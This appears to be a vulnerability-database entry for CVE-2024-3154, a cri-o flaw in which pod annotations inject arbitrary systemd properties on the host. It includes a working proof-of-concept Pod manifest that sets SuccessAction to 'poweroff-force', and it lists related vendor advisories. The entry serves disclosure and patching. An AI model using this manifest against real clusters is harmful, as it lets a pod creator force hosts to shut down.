A flaw was found in cri-o, where an arbitrary systemd property can be injected via a Pod annotation. Any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.
A flaw was found in cri-o, where an arbitrary systemd property can be injected via a Pod annotation. Any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.
A flaw was found in cri-o, where an arbitrary systemd property can be injected via a Pod annotation. Any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.
### Impact
On CRI-O, it looks like an arbitrary systemd property can be injected via a Pod annotation:
```
---
apiVersion: v1
kind: Pod
metadata:
name: poc-arbitrary-systemd-property-injection
annotations:
# I believe that ExecStart with an arbitrary command works here too,
# but I haven't figured out how to marshalize the ExecStart struct to gvariant string.
org.systemd.property.SuccessAction: "'poweroff-force'"
spec:
containers:
- name: hello
image: [quay.io/podman/hello](http://quay.io/podman/hello)
```
This means that any user who can create a pod with an arbitrary annotation may perform an arbitrary action on the host system.
Tested with CRI-O v1.24 on minikube.
I didn't test the latest v1.29 because it is incompatible with minikube: https://github.com/kubernetes/minikube/pull/18367
Thanks to Cédric Clerget (GitHub ID @cclerget) for finding out that CRI-O just passes pod annotations to OCI annotations:
https://github.com/opencontainers/runc/pull/3923#discussion_r1532292536
CRI-O has to filter out annotations that have the prefix "org.systemd.property."
See also:
- https://github.com/opencontainers/runtime-spec/blob/main/features.md#unsafe-annotations-in-configjson
- https://github.com/opencontainers/runc/pull/4217
### Workarounds
Unfortunately, the only workarounds would involve an external mutating webhook to disallow these annotations
### References
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Apr 26, 2024, 3:12:38 AM
dateUpdated: Aug 24, 2026, 2:00:29 PM
7 related source bulletins · separate from aliases
RHSA-2024:2672: Red Hat Security Advisory: OpenShift Container Platform 4.14.24 packages and security update
msrc_CVE-2024-3154: Cri-o: arbitrary command injection via pod annotation
CVE-2024-3154
WID-SEC-W-2024-1297: Red Hat OpenShift: Schwachstelle ermöglicht Codeausführung
CVE-2024-3154
RHSA-2024:2669: Red Hat Security Advisory: OpenShift Container Platform 4.15.12 security update
CVE-2024-1753 · CVE-2024-3154 · CVE-2024-28180
openSUSE-SU-2024:14334-1: grype-0.80.1-1.1 on GA media
CVE-2024-3154
RHSA-2024:2784: Red Hat Security Advisory: OpenShift Container Platform 4.12.57 security update
CVE-2024-1753 · CVE-2024-3154 · CVE-2024-28180
RHSA-2024:3496: Red Hat Security Advisory: OpenShift Container Platform 4.13.43 security update
CVE-2024-3154
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-77
Original publisher date fields
published: 2024-04-26T04:15:09.217
lastModified: 2026-08-24T15:16:37.210
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.